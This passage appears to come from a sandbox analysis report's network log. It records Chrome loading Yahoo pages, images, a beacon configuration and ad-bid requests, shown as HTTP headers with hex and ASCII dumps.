2024-01-10 23:27:14 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49937	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	585	OUT	GET /aaq/fp/js/react-wafer-scores.custom.modern.703a7cd6e9af37cfbca340f3be613253.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	871	IN	HTTP/1.1 200 OK x-amz-id-2: oa7gmiVkUMVhTa1taihNwkCA81apu/EK8cdFNETjziHWnp//xDLpfQBaf/eHLfgJzZFcx91b7BSNrX+VCuK5PTuSehwWbxxY x-amz-request-id: Q8DGMM0EPETBMEC8 Date: Tue, 09 Jan 2024 22:11:04 GMT Last-Modified: Wed, 04 May 2022 09:21:43 GMT ETag: "703a7cd6e9af37cfbca340f3be613253" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ZdiiDurnycr9Od0dwPm0i_Q.bBeBEty_ Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 308 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 90971 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	308	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 22 29 3b 65 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 6f 6e 28 22 66 6f 72 6d 3a 73 75 62 6d 69 74 22 2c 28 74 3d 3e 7b 63 6f 6e 73 74 7b 65 6c 65 6d 3a 6e 3d 7b 7d 7d 3d 74 3b 6e 26 26 6e 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 65 73 74 2d 6c 65 61 67 75 65 73 65 6c 65 63 74 22 29 26 26 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 62 65 61 63 6f 6e 43 6c 69 63 6b 28 22 61 70 70 2d Data Ascii: "use strict";window.wafer.ready((function(){const e=document.getElementById("league-select");e&&window.wafer.on("form:submit",(t=>{const{elem:n={}}=t;n&&n.getAttribute("data-test-leagueselect")&&window.rapidInstance&&window.rapidInstance.beaconClick("app-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49935	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	968	OUT	GET /ybar/exp.json HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	785	IN	HTTP/1.1 200 OK x-amz-id-2: SYB5jHohbzaAR/vVVzspTLc769qNh5h0bYc9rpPusGPqOqVHao3xE/NDXN3IcZanjaJvPq3Vmyc= x-amz-request-id: 6XZDNA9ADKJBGZ4X Date: Wed, 10 Jan 2024 19:55:54 GMT Last-Modified: Tue, 06 Dec 2022 17:20:56 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 1784 Referrer-Policy: no-referrer-when-downgrade Etag: "877792d86d801176269a36ac7b4e6e02" Age: 12682 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 65 78 70 43 6f 75 6e 74 22 3a 35 2c 0a 20 20 20 20 22 73 65 6c 65 63 74 69 6f 6e 22 3a 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 0a 20 20 20 20 22 75 70 6c 6f 61 64 54 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 0a 20 20 20 20 22 72 75 6e 50 72 6f 62 22 3a 31 30 2c 0a 20 20 20 20 22 65 78 70 4c 69 73 74 22 3a 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 76 70 69 78 69 65 61 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 76 2d 28 5b 5e 2e 5d 2a 29 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 5c 2f 69 2e 67 69 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 2f 2f 76 2d Data Ascii: { "expCount":5, "selection":"individual", "uploadType":"group", "runProb":10, "expList":[ { "name":"vpixiea", "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/i.gif", "target":"https://v-
2024-01-10 23:27:14 UTC	484	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 22 75 70 6c 6f 61 64 45 6e 64 70 6f 69 6e 74 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 79 62 61 72 2d 6d 63 64 6e 2d 72 65 70 6f 72 74 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 2f 63 73 2f 22 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 69 6d 65 6f 75 74 22 3a 35 30 30 30 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 79 63 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 63 65 72 65 62 72 6f 2e 65 64 6e 61 2e 79 61 68 6f 6f 2e 6e 65 74 5c 2f 6e 6f 71 75 65 72 79 5c 2f 70 69 78 65 6c 2e 67 69 66 5b 3f 5d 72 61 6e 64 3d 28 2e 2a 29 22 2c 0a 20 20 20 20 20 20 Data Ascii: "uploadEndpoints":["https://ybar-mcdn-report.wc.yahoodns.net/cs/"], "timeout":5000 }, { "name":"ycs", "beaconRegex":"^https:\/\/cerebro.edna.yahoo.net\/noquery\/pixel.gif[?]rand=(.*)",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49952	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	522	OUT	GET /uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1293	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 449932883037613609736222676951759673891,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a34205bd93de17f457530161dac24aea.webp" Edge-Cache-Tag: 449932883037613609736222676951759673891,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "ffa1e6b446215e0b17bab67f0a04629c" Last-Modified: Wed, 10 Jan 2024 17:32:54 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=7694,owidth=2020,oheight=1136,obytes=145863,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 174afbc16996207e6e8eb8f84e1b5cf8 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 20:16:05 GMT X-Served-By: cache-iad-kjyo7100029-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704917766.556016,VS0,VE1 Age: 11469 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 174afbc16996207e6e8eb8f84e1b5cf8 cld_by: cache-iad-kjyo7100029-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 26153 ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	740	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 09 ff c4 00 4d 10 00 01 03 03 02 03 05 05 04 07 04 07 06 07 01 00 01 00 02 03 04 05 11 12 21 06 31 41 07 13 22 51 61 14 32 71 81 91 15 42 52 a1 Data Ascii: JFIFCCM!1A"Qa2qBR
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 6c 97 2a 27 96 c9 4c e2 d1 f7 9b b8 4b cf 69 b8 f8 a2 06 96 ec ed 8f 92 a6 56 1b 2f cf 44 14 9a 71 0b 93 41 05 5d 6a 13 5d 27 08 29 36 4a 14 d2 70 eb b4 e8 f8 2e de 0c a4 61 cc f4 cb 14 9b c6 bd ae b5 8e 0c b1 6d ed e3 56 4f 92 ed 9f 5c 99 c4 d9 1b 96 e1 74 61 51 fd 2b e7 8b 3d 16 84 85 24 64 1e 58 42 b1 9b 30 e6 fa a5 92 a5 d3 ba 7d 54 6d 23 4f aa 3c 81 1a 7d 56 55 78 82 cc f5 4a 5d 34 84 e9 f5 41 0d 3e a8 2d c8 34 fa a1 90 d3 ea 80 4a 00 40 21 1a 37 50 46 dc ab 15 42 55 99 40 61 46 57 69 a1 c9 43 86 d2 5e 37 49 9e d7 18 f7 9d 85 3b 6c e1 ab 07 24 1d 93 d9 68 d1 ae 69 38 73 f2 7c 93 b6 69 26 fd af a9 e4 b1 b9 17 a0 6a c1 d9 a5 56 c6 8e 36 ad b9 f1 94 79 1a 43 2a 01 6e 79 85 7b 4e 5e ce b6 a5 92 0d 2d e6 8d b3 be 9c d7 ba 67 66 bd 94 1e 08 e4 82 d8 d2 81 Data Ascii: l'LKiV/DqA]j]')6Jp.amVO\taQ+=$dXB0}Tm#O<}VUxJ]4A>-4J@!7PFBU@aFWiC^7I;l$hi8s\|i&jV6yCny{N^-gf
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 2c b3 f8 c7 d6 36 46 b1 b5 4f 67 77 1b 8e 23 66 73 a5 a3 d7 a9 f3 3d 4a de 31 bf 56 96 ba c3 0d 3b a1 7e 87 39 ee d4 03 87 24 5b 24 5c 9b 73 ed 0f 65 9e 66 b3 31 e2 42 58 7a 80 4e 41 1e 45 46 cf c4 5f a4 66 aa 7b cb 22 19 7e 59 26 36 cb 8e 34 ff 00 54 ad 56 38 ec ed b6 e0 f8 ea 98 f9 5b aa 32 f0 d2 ec e3 4e 7f 9a e7 ca ee b7 c7 16 be 09 e2 a8 95 c2 8d d8 93 19 04 6e c3 e7 8f 3f c8 fd 52 97 c5 b6 ac 9b 44 ad e1 db 5f 11 d1 d4 db ea e2 14 c7 0d 71 85 e3 1d c3 c9 c1 7b 3c c1 ce e3 a6 3c b7 0e 76 7c 2b 9f c2 76 3d 3c ab 89 78 5e bb 86 6a 1b 15 48 d7 0c a4 f7 33 b4 78 25 03 9e 3d 46 46 47 a8 e8 41 5d b8 65 fb dc 5d 9e ad eb 55 22 ea 93 4c 02 08 9c 14 1c 74 02 3a 2b 24 9a 69 34 10 71 ee 94 23 26 a6 cb 70 6e b6 f8 d7 7f 57 3d 31 cf 1f 4f 43 b3 56 87 b5 a7 3f 15 Data Ascii: ,6FOgw#fs=J1V;~9$[$\sef1BXzNAEF_f{"~Y&64TV8[2Nn?RD_q{<<v\|+v=<x^jH3x%=FFGA]e]U"Lt:+$i4q#&pnW=1OCV?
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 13 2d 8f 13 0e b9 c9 b7 8d 3b 9e 84 35 25 ca 43 f7 b2 95 cd 5a d9 bf b4 e5 f4 51 72 a7 a4 2c e5 72 bb 64 d3 88 30 80 10 02 a6 41 2a 71 dc 94 87 89 21 c4 95 52 ed 36 68 ec 53 39 84 10 94 65 71 4a 6d 7e 3e ee 56 f8 e5 b2 b3 45 fd a2 3c 93 f2 a9 d0 37 11 e5 f9 a3 c8 49 a2 3d bc 7e 12 ab 1c bf d8 d1 d8 ab c6 47 84 a7 73 1a 4b 8e e0 dc 72 fc d1 e4 cf c6 1e 17 46 ad 26 50 78 92 6e 85 b9 c1 47 92 a4 31 25 d9 e7 6c ac f2 c9 ae 11 12 a6 ea f7 0f 7b 9a c3 93 2d c6 b8 e2 af 7d 7c 85 de fa e5 b7 75 a2 da d3 3c 92 11 a8 aa c2 7b 2c be 36 16 d0 09 19 19 c2 ef c6 6e 39 ad d2 45 7c cc 82 22 71 d3 65 e7 fe 4b b1 38 38 bc 5d dd 4e 1f db 76 a2 9a b1 8c 39 95 c7 75 f2 19 e5 73 f7 5e ef 1e 1e 13 45 c5 53 a4 47 53 72 6f 8b 7f 67 8d dd 1b b6 0b 82 e7 ad e2 dc 55 55 ce c6 49 3b Data Ascii: -;5%CZQr,rd0A*q!R6hS9eqJm~>VE<7I=~GsKrF&PxnG1%l{-}\|u<{,6n9E\|"qeK88]Nv9us^ESGSrogUUI;
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 2e 6d 71 c0 df 1c d2 0b c7 16 0b 74 2c 64 70 42 7b 8d 2e 7f de 24 f7 87 96 e7 20 30 f2 1f ab e5 9c ae 5c f2 b2 35 98 9a b1 f0 43 ae f3 b6 08 30 3e d3 a8 11 45 b6 4b a2 61 c3 9f 8c f5 0d 3f 55 12 ee b4 f1 91 ac 1c 27 11 ac 7d 7b 18 60 8e 9a 48 61 81 9a 75 38 32 59 5e e9 08 df 7c 47 0b 4f c3 4a 39 2e 95 24 70 70 84 4d ad 85 f1 c1 a7 59 0c 23 e1 2e 33 f9 7e 6b 9b 3c 9a c9 35 b6 8e e1 c1 d1 37 88 eb 2b a5 87 bc f6 6a 67 b4 46 36 73 b6 7b 4e 3e 40 fd 57 2e ee d5 e3 1a ae cf 38 6c c7 6b 91 ee 87 53 e4 81 cf 7b b9 65 c7 bc c9 fa e4 fc d6 b8 ff 00 92 a4 d6 5a 4f 67 07 b2 eb a6 19 62 d3 1f 7b 16 7a e4 f7 8d 38 f9 90 7e ab 4d 1f 35 d5 79 6f 14 f0 fd 15 7d 5b a1 73 34 3a a9 c1 d1 ca 46 d1 4c 79 12 7e 5f 92 4e ae 3d e5 8a e3 83 ec f3 42 e9 68 6a a2 d4 e9 43 66 60 69 Data Ascii: .mqt,dpB{.$ 0\5C0>EKa?U'}{`Hau82Y^\|GOJ9.$ppMY#.3~k<57+jgF6s{N>@W.8lkS{eZOgb{z8~M5yo}[s4:FLy~_N=BhjCf`i
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 54 58 a1 fd df cd 7a 93 0d 3c eb 92 fa 9a 30 60 6e 42 bc 71 d1 6c 3e 00 4e 71 95 a4 c0 bc 89 d1 8e 8b 4c 71 d3 2a 85 57 30 63 80 5a 63 34 cf 24 29 65 2e 57 b6 56 6e 9a 73 ca 7b 4e 88 73 88 c6 02 5b 54 8e 77 8e f2 fc d3 da 87 78 e3 cc 7e 69 5a 5a 20 ca ee 64 22 d3 93 44 97 e7 a2 9d 83 6e 39 e8 a2 dd 87 12 05 aa a0 29 04 25 40 51 f4 e4 d8 45 50 59 d0 15 00 80 42 28 0a 00 4c 2c d0 ed 08 01 00 21 39 04 20 20 10 a8 12 82 d8 42 42 01 99 3a 2a 82 9f a4 d2 27 6e ae 59 53 91 47 d3 9d 98 47 48 6d b1 98 77 21 81 63 95 ad 30 fa dd 64 01 9c ac 6d bb 74 6f 44 be 7d c6 46 c1 5c 4e 4f 20 ed 8a a6 27 53 c9 a0 e7 0b 6c 5c 9c b1 e2 00 8c 73 56 c6 1d 0e 04 e0 15 72 aa 3a ed 90 d7 1a 6c 75 59 cf 4d 71 f6 95 0b f5 34 0f f3 c9 16 2a fb 89 b1 bd cd 8d c1 a7 19 ea be 7f f2 7c 9a Data Ascii: TXz<0`nBql>NqLqW0cZc4$)e.WVns{Ns[Twx~iZZ d"Dn9)%@QEPYB(L,!9 BB:'nYSGGHmw!c0dmtoD}F\NO 'Sl\sVr:luYMq4*\|
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 5a 8b 8b da f9 09 d3 6d 24 9c 73 94 90 48 fa b4 2c f9 67 94 69 87 d5 87 05 8e e2 96 aa b8 1d 3e cf 6e 2d 7b bf f5 5e 5c 7e a1 ad 59 f0 e1 e2 ae 6b b3 71 52 d4 53 0a 89 e4 76 09 82 52 06 39 e0 3f fa 80 52 e4 8a c3 26 d7 84 e9 23 a7 e1 78 fb be 94 ef 07 d4 19 98 31 f9 2e ce be 3f e0 e6 cf df 22 e6 84 17 c2 f7 11 8d 52 03 f4 18 5a 63 8e 95 4a 10 44 2a 48 d3 88 e6 8f bb 23 cd dd 12 fd 6b 95 e7 17 5b 60 a2 bb 56 da e4 6e 98 a4 69 96 3f 20 e5 cd 9e 3a 6b 32 d9 aa 69 1d ec b0 55 4a dd 6e a4 77 b2 bc 75 0c 6f 22 3d 70 5c 3e 6b 1f 23 be d3 ac d7 28 e0 aa 34 73 8c c7 0b cc 6e 19 fb 83 de 6f e6 7e 6f 0a e5 db 0c b1 d1 be 2b 86 7b 6c f4 57 3a 58 8b 1b bb 9c 7c ce 70 e1 f9 04 6d 96 51 e1 fd ae f0 f4 34 d7 b7 d4 4a d1 3d a2 f7 4c ea 89 c6 30 01 69 02 61 fe eb c3 b3 cf Data Ascii: Zm$sH,gi>n-{^\~YkqRSvR9?R&#x1.?"RZcJD*H#k[`Vni? :k2iUJnwuo"=p\>k#(4sno~o+{lW:X\|pmQ4J=L0ia
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 50 d6 7b 54 59 2f 84 f6 94 ea 0a 67 62 2d 1a 71 9e 64 3a 40 02 cb 96 69 37 17 a2 5b 2e 0e 7c 8e a8 a8 77 89 c5 af 1f c3 a4 61 29 f0 e6 0a 0b dd fd b4 5c 49 45 51 1b f6 cc af 70 27 a6 62 1f d3 e8 4a cf 2a b9 34 9d c2 9c 54 21 e1 18 1e 74 86 32 a6 67 39 c3 f8 58 d1 f9 30 2c f3 cf 50 fc 1e 8b c3 17 08 e9 ec f0 cb 28 f0 c8 1d b6 79 9c ff 00 d5 4f 1d d9 58 d9 70 a5 c8 83 53 19 76 a1 19 24 74 f0 69 6e 3f aa e8 e1 cf 4c 32 c3 fb 69 6c b2 f7 d0 bd ee 03 2e 76 47 a8 2b ab 8a ee b9 f2 9e da 2a 68 b0 d1 ea b6 97 d9 23 d7 b6 0a 46 bd 95 1b c3 52 0b 48 f2 ff 00 39 55 64 c9 a6 0f 18 e2 38 59 c3 d3 cb 6d 78 d3 13 49 92 9b 7e 9f e7 0b ca ec 63 65 75 e3 5e 67 c5 f7 2f 65 ba c5 70 a7 9b 0c ab f1 e4 7f b5 c3 75 37 eb bf cd 73 7b fa 32 9b 6d 38 3b 8a e3 7c b4 d5 d3 4d a5 91 Data Ascii: P{TY/gb-qd:@i7[.\|wa)\IEQp'bJ4T!t2g9X0,P(yOXpSv$tin?L2il.vG+h#FRH9Ud8YmxI~ceu^g/epu7s{2m8;\|M
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: f9 f5 5c d3 17 44 be 9e 61 1b ab 5d c6 31 d6 d6 34 f7 d5 0d 0e 76 4e 72 7a ad f9 f1 97 89 9d ba 5a de 2d 97 aa aa a9 aa bb 97 4a d9 00 38 1c c6 06 3f eb e7 92 b9 f8 75 a2 b5 97 31 d5 d3 ca f8 66 63 d8 fd 2e 01 a7 c8 82 3f c5 17 0f 7b 2c 6b 4a 6b a6 a5 8a 8a 18 8e 19 0c 4d 93 19 fc 21 b9 03 d4 9e 5f 35 17 08 e8 99 3d 5f 81 bb 5e ab e2 49 69 ad b7 40 e8 a6 a7 70 31 82 73 e1 24 0c 72 e8 b9 b3 e0 9f 49 ec bc 39 55 2c d7 53 14 8f c8 86 42 fc 79 9c 11 fd 57 26 5a 97 4b b3 d3 da ac 91 87 d1 07 b5 bc d7 77 5d cb 93 11 da 15 6c ac 8b 5c 2e d0 f6 87 00 7c b9 2d fc a4 ad 38 63 e6 ca ce cf af 37 fa b9 69 a7 39 61 7b e4 8e 66 33 24 07 bd ce 38 df 6e 78 3f 00 8d 9d 9e db db 0f 62 16 58 a0 8a b6 ee 45 44 ed c8 66 b6 ea d0 df 2e 68 b4 e4 53 5e 68 e0 e1 4b c9 8a df 14 6d Data Ascii: \Da]14vNrzZ-J8?u1fc.?{,kJkM!_5=_^Ii@p1s$rI9U,SByW&ZKw]l\.\|-8c7i9a{f3$8nx?bXEDf.hS^hKm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49930	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	49941	104.36.115.111	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	626	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 1922 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1922	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 30 34 39 32 39 32 33 33 35 34 39 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 32 36 36 35 33 36 37 33 37 33 30 32 32 39 31 39 31 37 30 34 39 32 39 32 33 33 34 38 31 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 32 39 38 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 2c 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 Data Ascii: 